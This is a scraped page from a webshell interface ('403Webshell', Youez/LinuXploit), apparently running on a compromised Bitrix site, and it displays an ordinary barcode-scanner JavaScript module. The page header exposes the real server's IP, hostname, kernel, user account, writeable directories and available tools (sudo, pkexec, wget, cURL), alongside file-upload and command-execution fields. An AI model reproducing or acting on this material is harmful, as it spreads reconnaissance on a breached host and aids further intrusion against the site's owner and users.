403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/catalog/barcode-scanner/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/catalog/barcode-scanner/src/barcode-scanner.js
import {ajax, Type} from 'main.core';
import {BaseEvent, EventEmitter} from 'main.core.events';

const barcodeScannerPool = new Map();

export class BarcodeScanner
{
	constructor()
	{
		this.pool = [];
		EventEmitter.subscribe('onPullEvent-catalog', this.onPullEvent.bind(this));
	}

	static open(id = 'default')
	{
		if (!barcodeScannerPool.has(id))
		{
			const scanner = new BarcodeScanner();
			barcodeScannerPool.set(id, scanner);
		}

		ajax.runAction(
			'catalog.barcodescanner.sendMobilePush',
			{data: {id: id}}
		);
	}

	onPullEvent(event: BaseEvent)
	{
		const data = event.getData();
		const command = data[0];
		const params = Type.isObjectLike(data[1]) ? data[1] : {};

		switch(command)
		{
			case 'HandleBarcodeScanned':
				if (params.hasOwnProperty('id'))
				{
					const scanner = barcodeScannerPool.has(params.id);
					if (scanner)
					{
						EventEmitter.emit('BarcodeScanner::onScanEmit', params)
					}
				}
				break;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit